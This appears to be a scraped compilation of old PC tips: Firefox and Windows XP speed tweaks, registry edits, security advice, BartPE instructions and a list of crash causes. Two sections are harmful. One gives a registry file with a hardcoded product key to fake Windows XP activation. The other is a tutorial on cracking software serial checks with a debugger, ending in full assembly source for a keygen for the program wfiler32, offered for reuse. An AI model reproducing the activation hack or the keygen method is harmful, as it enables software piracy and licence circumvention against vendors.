Mozilla Firefox Tweak (boost firefox speed)

1) Open Mozilla Firefox.

2) In addreas bar type: "about:config" (without " ")

3)Look for were it says "network.http.pipelining" to TRUE
(Double Click it until it says TRUE)

4)Look for "network.http.proxy.pipelining" to TRUE
(Same way as stated above)

5) Now. Right-Click Anywere then click "Create New" Then "Integer". Name it "nglayout.initialpaint.delay"
Then Click Ok,then put the number "0" (Zero) in the next box

6) Click OK,

7) Restart Firefox.

8) Feel The Difference in Speed

to undone the changes
find and select nglayout.initialpaint.delay than right click and select reset...

Useful Tips to speed up Windows

Services You Can Disable

There are quite a few services you can disable from starting automatically.
This would be to speed up your boot time and free resources.
They are only suggestions so I suggestion you read the description of each one when you run Services
and that you turn them off one at a time.

Some possibilities are:
Alerter
Application Management
Clipbook
Fast UserSwitching
Human Interface Devices
Indexing Service
Messenger
Net Logon
NetMeeting
QOS RSVP
Remote Desktop Help Session Manager
Remote Registry
Routing & Remote Access
SSDP Discovery Service
Universal Plug and Play Device Host
Web Client

Cleaning the Prefetch Directory

WindowsXP has a new feature called Prefetch. This keeps a shortcut to recently used programs.
However it can fill up with old and obsolete programs.

To clean this periodically go to:

Star / Run / Prefetch
Press Ctrl-A to highlight all the shorcuts
Delete them


Not Displaying Logon, Logoff, Startup and Shutdown Status Messages

To turn these off:

Start Regedit
Go to HKEY_LOCAL_MACHINE\SOFTWARE\microsoft\Windows\Curr
entVersion\policies\system
If it is not already there, create a DWORD value named DisableStatusMessages
Give it a value of 1


Clearing the Page File on Shutdown

Click on the Start button
Go to the Control Panel
Administrative Tools
Local Security Policy
Local Policies
Click on Security Options
Right hand menu - right click on "Shutdown: Clear Virtual Memory Pagefile"
Select "Enable"
Reboot

For regedit users.....
If you want to clear the page file on each shutdown:

Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro
l\Session Manager\Memory Management\ClearPageFileAtShutdown
Set the value to 1


No GUI Boot

If you don't need to see the XP boot logo,

Run MSCONFIG
Click on the BOOT.INI tab
Check the box for /NOGUIBOOT

Speeding the Startup of Some CD Burner Programs

If you use program other than the native WindowsXP CD Burner software,
you might be able to increase the speed that it loads.

Go to Control Panel / Administrative Tools / Services
Double-click on IMAPI CD-Burning COM Service
For the Startup Type, select Disabled
Click on the OK button and then close the Services window
If you dont You should notice


Getting Rid of Unread Email Messages

To remove the Unread Email message by user's login names:

Start Regedit
For a single user: Go to HKEY_CURRENT_USER\Software\microsoft\Windows\Curre
ntVersion\UnreadMail
For all users: Go to HKEY_LOCAL_MACHINE\SOFTWARE\microsoft\Windows\Curr
entVersion\UnreadMail
Create a DWORD key called MessageExpiryDays
Give it a value of 0


Decreasing Boot Time

m*cro$oft has made available a program to analyze and decrease the time it takes to boot to WindowsXP
The program is called BootVis

Uncompress the file.
Run BOOTVIS.EXE
For a starting point, run Trace / Next Boot + Driver Delays
This will reboot your computer and provide a benchmark
After the reboot, BootVis will take a minute or two to show graphs of your system startup.
Note how much time it takes for your system to load (click on the red vertical line)
Then run Trace / Optimize System
Re-Run the Next Boot + Drive Delays
Note how much the time has decreased
Mine went from approximately 33 to 25 seconds.


Increasing Graphics Performance

By default, WindowsXP turns on a lot of shadows, fades, slides etc to menu items.
Most simply slow down their display.

To turn these off selectively:

Right click on the My Computer icon
Select Properties
Click on the Advanced tab
Under Performance, click on the Settings button
To turn them all of, select Adjust for best performance
My preference is to leave them all off except for Show shadows under mouse pointer and Show window contents while dragging

Increasing System Performance

If you have 512 megs or more of memory, you can increase system performance
by having the core system kept in memory.

Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro
l\Session Manager\Memory Management\DisablePagingExecutive
Set the value to be 1
Reboot the computer


Increasing File System Caching

To increase the amount of memory Windows will locked for I/O operations:

Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro
l\Session Manager\Memory Management
Edit the key IoPageLockLimit


Resolving Inability to Add or Remove Programs

If a particular user cannot add or remove programs, there might be a simple registry edit neeed.

Go to HKCU\Software\microsoft\Windows\CurrentVersion\Pol
icies\Uninstall
Change the DWORD NoAddRemovePrograms to 0 disable it

10 Fast and Free Security Enhancements

Before you spend time on security, there are many precautions you can take that will protect you against the most common threats.

1. Check Windows Update and Office Update regularly (http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (www.sygate.com) and ZoneAlarm (www.zonelabs.com) offer free versions.

3. Install a free spyware blocker doe example SpyBot Search & Destroy (http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., www.grisoft.com). And doublecheck your AV with the free, online-only scanners available at www.pandasoftware.com/activescan and http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support."

Make XP genuine - No download necessary

Until now some of u know how to make windows xp genuine using the key changer software...but it can be done without using any software.

Just follow the below steps
100% working.

*Right click your desktop and select new text document.
* Open that document and paste the following info.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
"CurrentBuild"="1.511.1 () (Obsolete data - do not use)"
"ProductId"="55274-640-1011873-23081"
"DigitalProductId"=hex:a4,00,00,00,03,00,00,00,35,35,32,37,34,2d,36,34,30,2d,\
31,30,31,31,38,37,33,2d,32,33,30,38,31,00,2e,00,00,00,41,32,32,2d,30,30,30,\
30,31,00,00,00,00,00,00,00,86,56,4e,4c,21,1b,2b,6a,a3,78,8e,8f,98,5c,00,00,\
00,00,00,00,dd,da,47,41,cc,6b,06,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,38,31,30,32,36,00,00,00,00,00,00,00,b5,16,\
00,00,83,83,1f,38,f8,01,00,00,f5,1c,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,66,e5,70,f3
"LicenseInfo"=hex:33,b7,21,c1,e5,e7,cd,4b,fd,7c,c6,35,51,fd,52,57,17,86,3e,18,\
d3,f4,8c,8e,35,32,7b,d1,43,8d,61,38,60,a4,ca,55,c9,9a,35,17,46,7a,4f,91,fc,\
4a,d9,db,64,5c,c4,e2,0f,34,f3,ea

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]
"OOBETimer"=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd

* In notepad click then.
* For file type in the save dialog box select "all files" and for the filename type in License Key.reg or whatever you want. It doesn't matter as long as it has the .reg extension.
* Click save.
* Double click the file thats now on your desktop. It will ask you are you sure. Tell it yes.

* To see that it worked go to
Code:
http://www.microsoft.com/genuine/downloads/FAQ.aspx


and click on "Validate Windows" over on the right

MAKE YOUR WINDOWS XP TALK TO YOU

Unvelievable..... follow the steps:

Open a text file in notepad and write:

copy from here:-

Dim msg, sapi

msg=InputBox("Enter your text","Talk it")

Set sapi=CreateObject("sapi.spvoice")

sapi.Speak msg

Save the file with a (*.vbs) extension, it will create a VBScript File.

It will prompt you for a text, input the text and press ok."

Creating ur own LIVE bootable XP cds

u can create LIVE bootable cds like LIVE linux (ubantu or koppix)

☆ Requirements

1. The files from your Windows Installation CD-Rom.
Supported Windows versions are:
* Windows XP Home Edition (must be slip streamed with Service Pack 1 or higher)
* Windows XP Professional (must be slip streamed with Service Pack 1 or higher)
* Windows Server 2003, Web Edition
* Windows Server 2003, Standard Edition
* Windows Server 2003, Enterprise Edition
2. PE Builder runs on Windows 2000/XP/2003/BartPE systems.
3. CD/DVD writer if you want to creat a bootable CD/DVD.

Getting started

# Make sure that your system has about 500MB of free disk space!

# Download the latest PE Builder version (self-installing package) and install it.

# Start PE Builder (pebuilder.exe). When you start PE Builder for the first time it will ask if you agree with the license agreement.

# Now PE Builder will ask to search for windows installation files. If you don't have your windows XP setup/installation files on your system you must insert the original Microsoft Windows XP installation/setup CD at this point.
The files you have at c:\windows are not installation files. They are your already installed files!
Click "yes" to start searching. PE Builder will now search all fixed- and CD-Rom drives for Windows installation files. This will take some time. When more than one valid location is found, a dialog will appear where you can select which location you want to use.

# At the main PE Builder dialog, select the "Burn to CD/DVD" option. When you are using an erasable medium, make sure that the "AutoErase RW" option is enabled. The "burn using" option should be set to "StarBurn". Select your CD writer device from the Device list.

# Hit the "build" button. PE Builder will now ask you to create a BartPE directory, answer with "yes".

# The license for your Microsoft Windows XP product is shown. Read it and agree to it to continue.

# PE Builder will now start building BartPE. This will take a few minutes.
You will see a lot of files getting copied and/or decompressed, the ISO image build and the data recorded to your CD/DVD writer.
If the data verify was correct and there where no errors reported you can boot the CD/DVD!


here is the download link for PE builder..
http://www.nu2.nu/download.php?sFile=pebuilder3110a.exe

How To Make a KEYGEN

Lets start with the basics....

What is a keygen? A keygen, or key generator, it's a program written for a specific program so the user can enter any name and then have the registration code for that name. That simple.

Why make a keygen when just a serial can be used? Well part of the fun of cracking is making your own creations. Also it is kinda lame to produce only one serial for a particular proggie ie: Myname [MY GROUP '97] SERIAL:1234-5678, when the user would like to have his/her name as the registered owner. It takes a bit more skill to write one, and as a cracker, if you code it in asm, you will find it is a little easier to crack. Besides it seems kind of "elite" to make a keygen

How do i make a keygen? Ahhh, good question.... This is asked quite a lot. Basically you need to know HOW the program verifies whether the serial number you entered is correct. To verify it, the proggie has to actually encrypt the users input data (whether it is serial number, name, or combination of both) and then compare that answer to the info you entered. If it is incorrect, then we get a messagebox that tells us so.

To start off, we need to know whether there is only one serial number that will work, or whether it depends on what information we enter. Only one serial number allowed doesn't qualify for a keygen. If the program uses the information we enter to determine what the serial number is going to be, then that is where we need to start.

I always use basic numbers, or letters so i know what they are when i see them ie: 08642 or qazwsx. That way i don't get them mixed up with some data that might be in memory at the time.. also when you use numbers, programs can take those numbers and convert them to hexidecimal and then store them in a register or memory location. When u enter your data, remember that the number could be converted to hexidecimal ie: 123 would be 7Bh. You may see that in a register, so watch out for it!!! Sometimes programs need a serial like: 1234-5678-9024. You should see an echo of it in memory, as with any other info you enter. The program may convert that to hexidecimal ( minus the dashes) and store it somewhere, or it might take each number and do its math on it... meaning that it might take the 1 (31h) and multiply it by a certain value, then loop untill all the numbers have gone through the cycle, or something similar. PLEASE REMEMBER that not every proggie uses the same tricks. Some will convert the 1234 to hex, while others might use ascii to hex (asm term) or ascii to integer (C term) to make eax=1234 instead of the hexidecimal value of 1234... just be wary when ur looking around.

Now for the stratagy: When we enter our info, we want to see what is done with it. The best way to do that is set a break point range (bpr) on the intended info. I usually type my info in, then bpx hmemcpy in sice, then hit enter, hit f5 untill all the data is read, but b/4 we get to the messagebox. Hit f12 untill your back to 32 bit code, or 16bit (depending on what the proggie is written in). Then i disable my bpx hmemcpy, and set a break point on a certain line (so i don't have to go through the whole process of hmemcpy again), but if the program uses hmemcpy to move the serial some more, the bpr on the info usually picks it up. After i bpx a certain line, i s 0 l ffffffff 'my info' and when i find it, BPR rw (w/o the < > ) and the rw stands for read/write ie: bpr 013f:123 013f:129 rw. I set the range because some programs take only part of the serial and do something with it, whether that is read only part of it, or move it to another spot in memory. Now search for it again, by typing just S and then hit enter (this continues the last search done from the current position) and if you find it in the Cxxxxxxxx range, don't bpr on it. Likewise if you find it in the 8xxxxxxx range, don't set a bpr on it. This part of memory is windows video buffer i think (anyway windows uses it).

Some proggies take the users name and capitalize it, you should notice this, also notice whether certain characters are allowed ie: numbers, brackets, dashes, all the other characters... When the program capitalizes the name it may skip over certain characters and do nothing with them, or if you put a space in the name, it may convert the space to an underscore or some other character...TAKE NOTE OF WHAT GOES ON !!!!!!!!!!!

If the program doesn't worry about the users name, it might concentrate on the serial number provided. This we also have to watch. Earlier i mentioned that proggies may convert the numbers to hex, or ascii to hex, or just read them from memory, YOU HAVE TO NOTICE WHAT IT DOES when it reads/modified the number. Sometimes this isn't easy to see, or you might have caught part of the algo, and missed the first very important part. If so, you need to back track and find out what you missed... The key to understanding keygens it UNDERSTANDING HOW WHAT THE ALGORITHM DOES.. thus the name- keygens.

What is left out? Are there dashes in the serial still? Are certain characters no longer there? Do spaces equal spaces, or are they taken out, or replaced with underlines, or zero's? This is the most important part. Pay close attention.. at this point the serial number might be in hex form, or ascii character to hex representation, also known as ascii/integer representation. Meaning.. in memory instead of seeing 31h 32h 33h 34h 2Dh 35h 36h 37h 38h you will see 01h 02h 03h 04h 2Dh 05h 06h 07h 08h (the dash may not be there). These are all questions that we should be asking ourselves. There are a million different things to do to the serial number, but remember we need to duplicate it.

All of this so far is done b/4 the algorithm is reached. When we finally ge to it, we want to write down (on paper) what it does. Do this line by line... but at the top have the serial number, or name it uses so you can easily look and see where it gets the info. Start out by explaining all the variables, like..... eax now holds our serial in hex form, ecx holds the total number of digits entered, or [esi+bx] is the buffer where our name is stored (after it is capitalized). make sure you know what all the variables are b/4 u start writing lines. If eax=100h b/4 it starts, make a note of it. Sometimes there are already numbers in the registers that are part of the algo. This is essential.

Now write every line down on our paper. I write them exactly as shown in sice. The only difference is i comment every line that causes a register to change. I put in perenthesis what the registers hold after the instruction i s executed, that way when i finish mine and need to debug it, i know what numbers should be where. This will tell me where i went wrong. Some algos use the Zero flag for special jumps.. when this happens i write that down too. When i see something like mov ecx,[eax+4] i write down what that memory location would be, whether its my serial or just the hex value of my serial. If it is the buffer where my name is stored, i write that down too. At the end of the algorithm, the correct serial number is either in memory or in a register. Make a special point to wite down how it is stored. The registration number could be in eax. If eax= 12c4328a, the registration could be the decimal value of eax, or it could actually be 12c4328a. Make sure you know what u have to do to be able to print it to the screen. When i have the full algorithm on paper, i sit down and sort out what i don't need. If the program pushes something to the stack that isn't important to me, I leave it out. (today i just found an algo that uses 57 lines of code, and i cut it down to 24)

By this time, you should have a basic understanding of how the program generates the serial. Now we duplicate it.

#1. get input
#2. make name all caps
#3. change all Q's and Z's to R's
#4. get all letters of the name and do the math
#5. eax=hex value of our serial
#6. convert to decimal
#7. print to screen
#8. done!!!

OR:
#1. get input
#2. convert serial number to hex, and move into eax
#3. do math with serial number
#4. edx=23abc3e5.... and 23abc3e5 is our registration code...
#5. put edx into memory in ascii form
#6. print to screen
#7. done!!!

Whatever u do, make sure u have your outline. That way when you start writing it, you will know what is needed.

----------------------------------------------------------------------------

NOW is the time for OUR keygen... i've provided some code you can track down and break on.

For this example i am going to use the Name: stickless (no caps) and the registration number 987654.

First of all, enter your name, and serial number in the spaces provided. Don't hit enter.

1. In sice set bpx hmemcpy, and exit again
2. Hit enter, and hit f5 1 time
3. Now hit f12 untill you are back into the w32filer code
4. Search for 33 d2 33 c0 3b c8 7e 17 0f be and set a break point on that location.
5. Search for 0f be 0a 83 f9 20 74 0d 8a 0a and also set a break point on that address. ( s 0 l ffffffff 0a 83 f9 20 74 0d 8a 0a ) is how
6. Now on the first line after you enter w3filer code, set a bpx on it.
Also bd the bpx hmemcpy. (I do that so i don't have to go back through hmemcpy if i mess up.)
7. If all goes well you can hit f5 and it will break on the line that starts moving your serial to another place, then capitalizes it.
(if not, then exit select ok and follow the first call after writeprivatprofilestringa, and you will find it.) Single step through this part of the program so you can see what happens.
8. REMEMBER to write down on a piece of paper exactly what we see the program doing. We will need this for our keygen.
8a. You should see each character being loaded, then compared to see if it is a captial letter already, if not, then it is checked to see if it is a space. If it is, then it skips over it to the next letter.
9. after this is done, there is another call. This one calculates the total number of letters that are in the name. It is then compared to 4, to see if there were enough characters entered.
10. You may be able to see the next break point we searched for. If not, set a temporary break point on a line where you are at, then hit f5. If we found the correct bytes and set a bpx on them, then we should stop at the actual algorithm. If not, then we'll have to hit ok and go through this process again.
11. When we break on the algorithm we will see these lines:

xor edx,edx -clears edx for a new start
xor eax,eax -new start
cmp ecx,eax -ecx holds the total number of digits we entered
jle xxxxxxxx -xxxxxxxx is some line number that continues the algo
loop: movsx ebx,byte ptr [eax+esi] -gets the first letter, then next
shl ebx,03 -shifts the value of the letter left 3 times
movsx edi,byte ptr [esi+esi] -gets same letter in edi
imul edi,eax -eax holds the spot in our name. first letter = 0
add ebx,edi -add the hex value of the letter to ebx
add edx,ebx -now add that number to edx
inc eax -increase our counter (for our name)
cmp ecx,eax -does the counter equal the total number of digits?
jg loop -if it is greater than our total digits, then go on
-the program loops untill all letters of our name -have been read and converted
mov eax,[00416720] -this is the hexidecimal representaion of the
-serial number provided. If you ? eax, you
-will see the serial number
sar eax,03 -shift arithmatic right
add edx,eax -at this point edx now holds our serial number..
-however, there is a little twist to the story
-edx=6856d39.. if you ? edx you get 0109407545..
-however if you enter that number, it won't work
-the reg code IS 6856d39

*********** REALLY BIG NOTE HERE!! DON'T IGNORE THIS*******************


WRITE ALL OF THIS DOWN ON PAPER WHILE YOUR DOING IT.
I write it exactly as i see it, and put comments on every line.
You can never have too many comments, unless they don't make sense.
In the place of [eax+esi] i write "points to my name" behind it.
Remember, to make your keygen, you need to know what to put in it,
and what order. Currently i have this written down on paper:

1. Enter name
2. Move it and take out the spaces
3. Capitalize it
4. Get the number of characters entered
5. Cmp that number to 4
6. Enter algorithm
7. I have the algo on paper and have it commented
8. After algo is over with, edx hold the hexidecimal represention of my serial number


WRITE EVERYTHING DOWN AND COMMENT IT!!!!!!

*******************************ok ur done***********************************

If you trace a little while longer, then you will see that number being compared to the number you entered. There is a return and eax=0 if all is well. If not, then we go to the messagebox.


I am done with my tutorial. All that is left is the source for my keygen.
Study it, and duplicate it, steal any code u need, or modify it all you want. I don't care, as long as you learn how things work.

Encluded should be the program, and another copy of the source. I suggest you compile it with the int3's included and set a bpint 3 in sice, and single step through all of it. You will learn a lot more by doing that than just reading the code. I know i have rambled on for a long time now so i'll stop.

I hope this brought a few of you closer to understanding keygens and how to make them. I have plans for another tutorial on them, but ran out of time to put it in here. This next one will use a different type of algorithm, and i'll show u some more asm code. Using the two tutes, you should be able to write your own for most programs. have fun and stay happy
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This is the basic format for making a keygen for wfiler32.. the following is an example of how to do it.


-------------cut and paste the rest so you don't have to type it------------

;keygen for wfiler32
;made by #cracking4newbies for newbies


.model small
.stack 100h
.386
.data
hello db 'Please enter your name here : $'
ask_serial db 0dh,0ah,0dh,0ah, 'Enter The serial number (in the registration box) : $'
uprint db 0dh,0ah,0dh,0ah,'Your registration code is : $'
infa db 0dh,0ah,0dh,0ah,'#cracking4newbies keygen for wfiler32 $'
;the next 3 lines are for getting input and the params it has to meet

;maxkey db 20 ;maximum characters-set to 20
;charinp db ? ;not surehow many characters we are going to type
serinum db 20
serinp db ?
buffer db 20 dup(0) ;characters r stored-there are 20 max
note db 0dh,0ah,0dh,0ah,'Please enter more than 8 characters for your name.$'
key db 11 dup(0)
bufferb db 20 dup(0)
nametotal db 20
namehow db ?
bufferc db 20 dup(0)
key2 db 11 dup(0)

.code ;my code begins here
start:

main proc ;sets up procedure/is also the starting point
mov ax, @data ;canït modify ds directly
mov ds, ax ;move it into another reg first

mov ah,7 ;attrib to scroll window, 7 scroll down
mov al,0 ;do the entire window
mov ch,0 ;this points to the upper left row
mov cl,0 ;this points to the upper left column
mov dh,24 ;this points to the lower right row
mov dl,79 ;this points to the lower right column
mov bh,7 ;normal attrib for blank lines
int 10h ;call bios
xor ax,ax ;make sure that ax(ah+al) are clear

;this next section is to set the cursor upwards in the screen

mov ah,2 ;ah=2/int10h set the cursor position
mov bh,0 ;select video page 0
mov dx,0501h ;cursor 5 rows down in the first column
int 10h ;call bios

mov ah,09h ;ah=9/int21=dos function print to screen
mov dx,offset infoa ;points to where data infoa is stored
int 21h ;call dos int 21

mov ah,09h ;ah=9/int21 dos function print to screen
mov dx,offset hello ;points to where data hello is stored
int 21h ;dx points to it or it wonït print

mov ah, 0ah ;ah=0ah/int21 dos procedure for asking
mov dx, offset nametotal ;dx has to point to the first of the
int 21h ;paramaters-starts with max keys allowed

;int 3h ;take the semi-colon out to debug the source

call checknum ;check to see if enough letters were entered

mov ah,09h ;as for the serial number
mov dx,offset ask_serial ;dx points to the location in memory of the txt
int 21H ;call dos interupt

mov ah, 0aH ;ah=0ah/int21 gets buffered input
mov dx, offset serinum ;store the input in a buffer named serinum
int 21h ;execute ah=0ah
;int 3h ;remove semicolon and recompile to debug it

call caps ;call the capitalize procedure

call str2num ;this converts a string of numbers to hexidecimal value

call calc ;this is the actual algo for w32filer

mov ax,4c00h ;termination string
int 21h ;go bye bye

main endp

;this section checks to see how many characters were entered
;if less than 4 then no good

checknum proc
mov si, offset namehow ;total number of characters entered
mov cl,byte ptr [si] ;mov 1 byte (cl only holds 1 byte)
cmp cl,04h ;cmp the total number to 4
jle nogood ;if less than 4 then let user know
ret ;if it is more than 4, then return from call
nogood: mov dx,offset note ;there are too few letters in the name
mov ah,09h ;so we have to let the user know
int 21h
mov ax,4c00h ;lets kill the program
int 21h ;ax=4c00h/int21h end the program
checknum endp

;this section checks the name for caps and if already capital, then it leaves
;it alone, otherwise it converts it...also i checked for a space... didn't ;want
;that to get captialized too

caps proc
push ecx ;save data
push edx ;save data
push esi ;save data
xor edx,edx ;we clear all to get a fresh start
xor ecx,ecx ;we clear all to get a fresh start
mov si, offset bufferc ;point to name
mov cl,[si] ;lets load it up and do some checking
all: cmp cl,61h ;is the letter less than "a" (if less than, it is a capital letter)
jl g02 ;yes then lets just print it and not make it ;uppercase
cmp cl,7ah ;is it greater than "z"
jg g02 ;yes then lets just print it
sub cl,20h
mov [si],cl ;[si] is where we got the letter from, now ;lets replace it with a capital one
g02: mov cl,[si+1] ;get next character
inc si ;point to next character
cmp cl,0dh ;is this the code for the return?
jnz all ;no, then lets do this stuff again
alldon: pop esi ;restore data
pop edx ;restore data
pop ecx ;restore data
ret
caps endp



;
; ASCII decimal string to 32bit number
; Copyright (c) 1997 Brand Huntsman
; _QZ 16feb97
;
;i had to modify this section to work for more than 4 digits
;and his original code was wrong, or i don't have the same setup as him

str2num PROC
;ds and es should point to this segment

cld ;go forward
mov si,offset buffer ;buffer=storage area where our serial number is stored
mov di,offset bufferb ;temorary storage area
xor ecx,ecx ;get a clean start

again:
lodsb ;loads the byte that es:si points to into eax
xor ah,ah ;clear the high bits of ax, so al holds our number
or ax,ax ;does al hold an actual number? or is it blank?
jz alldone ;if nothing, then we're done
sub ax,48 ;subtract 30h from our number (1= 31h) so it subtracts 30h from it, and we get 01h
cmp ax,10 ;cmp ax for a valid number from 0 - 9
jb goodnum ;if higher, then don't jump

;bad numumber
stc
jmp alldone ;done with our math, now lets add the numbers up

goodnum:
mov [di], byte ptr al ;the number was 0-9 so we save it into memory (our temorary storage)
inc cx ;cx is our counter.. how many numbers did we look at?
inc di ;di now points to the next byte in memory for our temporary storage
jmp short again ;lets do it again

alldone:
std ;go in reverse
mov si,di ;make both si and di point to the same spot in memory
dec si ;account for overrun
xor ebx,ebx ;clear some registers for a fresh start
xor eax,eax
xor edx,edx
inc edx ;edx is now being used to count our "digits" place (1234
;is 1thousand 2hunder thirty four, where the 4 is the ones digit, 3 is the tens digit, and 2 is the hundreds digit)

addemup:
xor eax,eax ;clear eax for a fresh start, we don't want anything in it that may corrupt our data
lodsb ;load the byte that is at es:di into eax
imul eax,edx ;multiply our digit by the place it should be in ( 1234 again.. this starts with the digit on the far right, which is the ones spot 4*1=4) then it loops and 3*10=30
add ebx,eax ;add that to running total (the first time through, ebx is empty)
imul edx,10 ;multiply position times 10 (so we can move to the next number and it will be the correct spot.. ones digit, 10's digit, 100's digit, 1000's digit.....)
loop addemup ;b/4 when we increased cx (which was our counter), now loop will continue to loop untill cx=0
mov ecx,ebx ;ebx now holds our serial so we move it into ecx for later use
ret
;ebx = number
;if carry set then bad number
ENDP str2num


;this is the actual algo for w3
;take a look and see what happens )
;very neet stuff here !!!!!


calc proc
xor eax,eax ;clear the registers for a fresh start
xor ebx,ebx
push ecx ;we just moved the serial number into ecx, now we want to save it
xor ecx,ecx ;clear the rest of the registers
xor edx,edx

otra: mov si,offset bufferc ;bufferc points to our name(which is capitalized now)
mas: movsx ebx, byte ptr [si] ;copy first char to start off, then increase to the next and loop
cmp bl,20h ;is the character a space?
je mas2
cmp bl,0dh ;is the character the return code for enter ( 0dh= enter)
je otra2 ;if is the return code for enter, then finish our algo
shl ebx, 03h ;shift left
movsx edi,byte ptr [si] ;copy the character into edi (the same one that was just loaded into ebx
imul edi, eax ;multiply edi by the number in eax (just part of the algo)
add ebx, edi ;add hex of our letter to ebx
add edx, ebx ;add our "running total" to edx (the remainder from the imul)

inc eax ;increas eax because it is needed in the algo
mas2: inc si ;since si points to our name, we need to go through each character of it, so we increase the pointer
jmp mas ; do it all again

otra2: pop eax ;get the serial that we converted so it was in eax
sar eax, 03 ;sar (shift arithmetic right) our serial
add edx, eax ;add it to our "running total" from our name
mov ebx,edx ;edx now holds our serial
call convert2 ;we are going to make it so we can print it to screen

;at this point, edx now holds my serial !!!!!

ret
calc endp

;this section now puts the final serial in to memory.. since it is in ebx
;we move it to eax, then do our calculations
;we also have to write it backwards in memory
;because this procedure starts with low bit and goes high


convert2 proc
mov si,offset bufferb ;point to our storage area
add si,0bh ;now we want to move 11 bytes after it so when we write it backwards, then there will be no problems
mov byte ptr [si],'$' ;you need a $ at the end of it so dos knows when to stop printing
dec si ;we are working backwards.. so decrease our pointer
mov ebp,10h ;we are going to divide by 16d to get our actual characters out of eax..if eax=ab348d12 then our registration number is that number, not the decimal representation of it
putnum: ;inc si ;didn't need to inc si but i was too lazy to take it out
mov eax,ebx ;ebx held our serial, so now we need it in eax
xor edx,edx ;when we divide, we need edx to be clear
div ebp ;divide our serial by 10h so we get the far right number/letter to our serial
mov ecx,edx ;mov ecx our number/letter
mov eax,ebx ;after we divide, ebx holds our new number minus what we divided out
sub edx,edx ;clear edx
add cl,30h ;add 30h to our digit to get it back to a number
div ebp ;divide eax by 10h again (our next letter is in edx)
mov ebx,eax ;ebx holds our serial minus the numbers we divided out
cmp cl,39h ;if our number we added 30h to isn't a valid number, then we need to convert it to a letter between a - f
jbe sonow ;valid number, then jump
add cl,27h ;not valid number, then add 27h to make it a letter
sonow: mov [si],cl ;mov cl (whether letter or number) to the place in memory where si points to
dec si ;we are working backwards here, so remember to decrease si
or ebx,ebx ;does ebx have any numbers left?
jnz putnum ;if there is something, then start again
inc si ;after we are out of numbers, we need to point to the first letter/number of our serial
lea dx, [si] ;load that address into dx so we can print it to screen
call write ;call my print procedure
ret
convert2 endp

;this section just prints a little stuff on the screen
;very basic

write proc
push edx ;save the pointer for our serial number
mov dx,offset uprint ;mov the pointer for our text we want to say into dx
mov ah,09h ;now print it
int 21h
pop edx ;restore our pointer to our data
mov ah,09h ;and print it to the screen
int 21h
ret
write endp
end main

10 reasons why PCs crash U must Know

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1. Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2. Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

